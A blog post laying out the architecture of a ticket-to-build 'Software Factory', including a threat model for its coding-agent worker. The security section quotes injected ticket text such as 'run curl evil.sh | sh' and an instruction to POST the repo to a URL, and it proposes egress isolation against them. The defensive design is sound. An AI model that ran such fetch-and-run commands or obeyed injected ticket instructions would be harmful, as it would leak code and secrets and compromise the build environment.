Designing a provider-agnostic Software Factory

I researched the current state of CI/CD, build farms, and cross-platform tooling to formalize a Software Factory: a cloud system that turns a ticket into a multi-platform build. Here's the model, the architecture, and the stack I'd actually build.

A Software Factory is a system with a simple contract: a ticket goes in, and an updated ticket plus a build for every major platform comes out. It runs in the cloud, is provider-agnostic (AWS, Azure, or whichever fits), and needs a human only where judgment is genuinely required.

Before I’d commit to an architecture, I went through the current state of the tooling — CI/CD platforms, build farms, and cross-platform frameworks — to see what actually holds up in 2026. This post is the formalization: the model, the architecture, the build-matrix problem, and the concrete stack I’d build.

The model

Strip away the marketing and a Software Factory is four things:

  • Intake — a set of adapters that normalize a task source (GitHub Issues, JIRA, or anything behind REST/webhooks) into one internal task model.
  • Manager — a scheduler that polls the queue, picks the next eligible task, classifies it, routes it to a worker, and owns the task’s state.
  • Workers — the things that do work: a developer that changes code, a build farm that compiles it, and QA when the task requires it.
  • Definition of done — the ticket is updated, a PR is green, QA has run where needed, and builds exist for the whole platform matrix.

Two rules keep this honest:

  1. The ticket is the source of truth. Every artifact, decision, and state transition links back to the ticket. If it isn’t on the ticket, it didn’t happen.
  2. Provider-agnosticism is a property of the interfaces, not the deployment. You get it by keeping every component containerized and talking over standard protocols (REST, or a message queue) — not by writing a portability layer on top of one cloud’s SDK.

Design principles

Workers are containers, not VMs. A “developer” worker is a coding agent in a sandbox; a build worker is a build container. Because they’re containers, the same image runs on AWS Fargate, Azure Container Instances, or a bare-metal pool. Portability falls out for free.

The manager is thin. It schedules and tracks state. It does not build, does not compile, does not run tests. The moment the manager starts doing work, you’ve built a monolith that can’t scale the parts that need to scale (the build farm).

Cache everything, especially the build. Multi-platform builds are the expensive part. A remote build cache is the difference between “run the whole matrix on every ticket” being a 40-minute tax and being a 3-minute incremental.

QA is a policy, not a hardwired step. Some tasks need it, some don’t. The task model carries a requires_qa flag (or derives it from labels), and the manager inserts the QA stage only when it’s warranted.

The architecture

                ┌─────────────────────────────────────────────┐
                │                 INTAKE                      │
                │  GitHub adapter │ JIRA adapter │ REST adapter│
                │        └──────────┴─────────────┴───────────┘
                │                        │ normalized task model
                ▼                        ▼
   ┌──────────────────────────┐   ┌──────────────────────────┐
   │        MANAGER           │   │      task queue          │
   │  poll → select → classify │   │   (a queue or a table)   │
   │  → route → track state    │   │                          │
   └───────────┬──────────────┘   └──────────────────────────┘
               │ dispatch (work items)
   ┌───────────┼───────────────────────────────┐
   ▼           ▼                               ▼
┌────────┐ ┌──────────────┐  ┌──────────────────────────┐
│DEV agent│ │ BUILD FARM   │  │   QA                     │
│(sandbox)│ │ build tool / │  │  automated checks +      │
│         │ │ remote exec  │  │  human gate if required  │
└────┬───┘ └──────┬───────┘  └────────────┬─────────────┘
     └────────────┴───────────┬───────────┘
                              ▼
                 ┌──────────────────────────┐
                 │   DONE: updated ticket + │
                 │   builds for every target│
                 └──────────────────────────┘

The dispatch contract is a message: { task_id, kind, repo_ref, matrix, requires_qa }. Workers pull from the queue, do the work, and post results back. Nothing in this diagram is cloud-specific — the queue, the workers, and the artifacts all sit behind standard interfaces.

Intake adapters

  • GitHub: poll the REST/GraphQL issues API, or (better) receive webhooks on issue/label changes. The adapter maps an issue → internal task, and writes state back as comments + label changes.
  • JIRA: REST v3, same pattern — poll or webhook, map issue → task, write back via the issue transition API and comments.
  • Agnostic: a generic REST adapter against a small interface (list(), get(id), update(id, patch), comment(id, body)). This is what makes “GitHub / JIRA / agnostic” real rather than aspirational — the manager depends only on that interface.

The build-matrix problem

This is where “every platform” stops being a slogan and becomes an engineering constraint — because it’s not one build, it’s a matrix, and matrices are where build systems break. (I go deep on this in the build matrix, honestly; the short version:)

The factory does not assume one way to build. It runs whatever toolchain the repo declares — native cross-compilation, a cross-platform app framework, a WASM target, or a mix — and derives the host requirements from that. The matrix is a property of the codebase, not of the factory.

Three things shape the farm:

  1. Cross-compile where you can. Targets that build from a different host or architecture let you avoid owning hardware for every one.
  2. Some targets are host-locked. A few can only be built where the platform toolchain (and often signing) lives. Those need a dedicated slice of the pool — which is why the farm is a heterogeneous pool, not a homogeneous one.
  3. Cache or it doesn’t scale. Rebuilding every target on every change is only affordable with a real remote, incremental cache.

A common pattern is to pick a reference target and treat the rest as ports checked against it. Often the reference is the cheapest and fastest platform to build; sometimes it’s the product’s primary target for business reasons. That’s a per-repo choice, not a rule.

The resolution is a build farm with per-target host requirements expressed in the task, and a remote cache that makes the matrix cheap. The current build-orchestration tools give you this:

  • A pipeline-as-code build tool models the build as a typed, incremental DAG of sandboxed steps and runs it locally or on a shared remote engine — portable by design, with a built-in cache. It’s the lowest-friction way to express “build these N targets from this ref” as code.
  • A distributed remote-execution build system distributes the action graph across a build farm over an open protocol and caches results, so repeated matrix builds are incremental. Heavier to adopt, but the ceiling is higher for large, multi-language trees.

Worker isolation: default-deny egress

The build matrix is the hardest functional problem. The hardest security problem is the developer agent — and it’s the one that most separates a factory of autonomous agents from a normal CI runner.

A normal CI runner checks out pinned code and builds it. It does not read untrusted instructions and then act. A developer agent does exactly that: it reads the ticket, an issue body, a linked URL, a dependency’s README — all untrusted input — and then has a shell and, if you let it, the internet. That combination is a prompt-injection and exfiltration target. A malicious ticket can say “run curl evil.sh | sh” or “POST this repo to this URL,” and a web-connected agent with a shell will sometimes just do it.

Three real threats:

  1. License / provenance contamination. An agent that can fetch the web pulls code in without tracking obligations. Copyleft (GPL) can taint the whole tree; even permissive code carries attribution duties you’ve now lost sight of.
  2. Supply chain. An agent with a shell and egress can pull a typo-squatted or compromised package from a registry, or fetch a malicious base image.
  3. Prompt injection → exfiltration. The worst outcome, and the reason isolation has to be a hard control — network policy the agent can’t talk its way out of — rather than a soft one (“the model probably won’t”).

The model: default-deny egress, not a hard air-gap

A hard air-gap is tempting but wrong: it breaks the one legitimate thing workers need — fetching pinned dependencies. The right model is that workers never reach the open internet, but they do reach a private registry mirror inside the VPC (a managed artifact registry or an in-VPC package proxy). The mirror gives you provenance, version pinning, caching, and a complete audit of what was pulled — and it means the worker never needs a NAT to the open internet at all.

VPC — no internet gatewayTask queuedispatchworker subnetDeveloper agentno egress · mirror-onlyephemeral sandboxBuild farmmirror + store + cacheonlyRegistry mirrorprivate, in-VPCArtifact storeS3 / Blob · PrivateLinkBuild cacheremote / sharedegress is allow-listed + logged — anything else is denied by defaultInternetunreachabledenied

Concretely:

  • Worker subnet with no internet gateway. No IGW = no public internet, enforced in the network topology rather than in policy. This is the load-bearing control.
  • Default-deny security groups / NSGs. Egress allowed only to the mirror’s IP and the internal service IPs (artifact store, build cache, task queue). Everything else is denied by default.
  • PrivateLink / Private Endpoints for object storage and the registry, so even “internal-adjacent” calls don’t traverse the public internet.
  • Log every egress attempt. A denied attempt by an agent is itself a high-signal alert — it’s often the fingerprint of an injection trying to phone home.
  • Tier by blast radius. The developer agent is the risky worker (it writes code, may have tools): no egress, or mirror-only. The build farm is lower-risk: mirror + artifact store + cache. Don’t give the build farm more access than it needs just because it’s “in the VPC.”
  • Ephemeral, single-purpose sandboxes. Each worker is a clean container with only the repo + toolchain. Network isolation stops egress; sandbox isolation stops lateral reads (an agent can’t read sibling agents’ or the host’s code). You need both.
  • Provider-agnostic. AWS: VPC without an IGW, NAT only for the mirror, PrivateLink, security groups. Azure: VNet with no route to the internet, NSG default-deny, Private Link. Same pattern, different primitives — which is the whole point of the factory being provider-agnostic.

The trade-off, stated plainly

A fully web-less developer agent is less capable: it can’t “look things up.” But most of the real value comes from the repo + curated context + pinned dependencies, not live browsing — and live web access for a code-writing agent is high-risk, low-reward. So the default is no web. If a specific task genuinely needs external reference, gate it behind a read-only, allow-listed, egress-logged proxy on a per-task basis — never raw browser access, and never a shell that can curl arbitrary hosts.

On top of the network layer

Isolation stops the bytes; these catch what slips through:

  • Pin dependencies + lockfiles as the source of truth. The agent can’t quietly add a new dependency — it has to go through the mirror, which can enforce a package/version policy.
  • License scanning in QA (a dependency/license-scanning tool) on every build, so contamination is caught even if some code got in.
  • Short-lived, scoped, VPC-internal credentials (IAM roles / managed identities) — no long-lived API keys in the environment, so there’s nothing worth exfiltrating in the first place.

The definition of done

A task is done when all of the following are true — and the manager enforces this, it doesn’t trust the worker to claim it:

  • The ticket is updated: what changed, why, and links to the PR and every artifact.
  • A pull request is open and CI is green.
  • Builds exist for iOS, Android, Web (WASM), macOS, and Windows (x64 / ARM where possible) — with a documented reason for any target that couldn’t be produced.
  • QA ran where the task required it: automated checks always, a human gate only when the task calls for judgment.
  • Release notes and build artifacts are attached to the ticket.

The stack I’d build

Concrete, best-of-breed, and deliberately boring where it can be:

  • Manager: a small Go service (one binary, no framework) that owns the task model, the state machine, and the dispatch. Go because it’s one static binary, trivially containerized, and great at the concurrency a scheduler needs.
  • Queue: start with a database-backed task table (a tasks table with a state column) for simplicity; graduate to a dedicated message queue when throughput demands it. The interface is the same.
  • Intake: one adapter interface; GitHub and JIRA first, generic REST for the long tail.
  • Developer worker: a coding agent in a sandboxed container with the repo, the ticket, and a tool budget. This is the part you gate hardest — it’s the only worker that writes code.
  • Build farm: a pipeline-as-code build tool for the DAG + cache, running on a heterogeneous pool (Linux + macOS + Windows workers) sized by the matrix. A distributed remote-execution system if the repo is a large multi-language monorepo.
  • Artifacts: object storage, with every object key derived from {repo}/{ref}/{target} so it’s reproducible and cacheable.
  • Observability: every dispatch and state transition is an event; the ticket is the human-facing view, the event log is the machine-facing one.

What I’d build first (the MVP)

Don’t build the factory — build the narrowest slice that proves the contract:

  1. One intake (a coding-agent skill submitting a ticket, or a single issue tracker), one target (the cheapest to build — often the one with no host-locked hardware requirement), one worker (the build farm).
  2. Prove the loop: ticket → manager picks it → build farm produces the artifact → ticket updated with the link.
  3. Then widen in this order: add the developer worker (the risky part), add more targets (save the host-locked ones for last), add a second intake source, add QA.

The whole point is that the contract — ticket in, updated ticket + multi-platform build out — never changes as you widen it. Get that contract right and provider-agnosticism, scaling, and new sources all become incremental work instead of re-architecture.

Open questions

  • How much autonomy does the developer worker get? Write-a-PR-and-wait-for-human is safe; merge-autonomously is where the interesting (and scary) ROI is. I’d start safe and earn autonomy per-repo, per-task-class.
  • Who owns the cache across providers? A remote cache is only as good as its reachability. Co-locating it with the build pool per-region is the pragmatic answer.
  • Is “all platforms” always the DoD, or per-task? For a one-line doc fix, a full six-target matrix is overkill. The task model should let DoD be scoped per task, with the full matrix as the default for code-affecting changes.

That last one is the one I’m least sure about — and it’s the one that will shape whether this feels like a factory or like a tax.

#software-factory#cicd#infrastructure#architecture
← All posts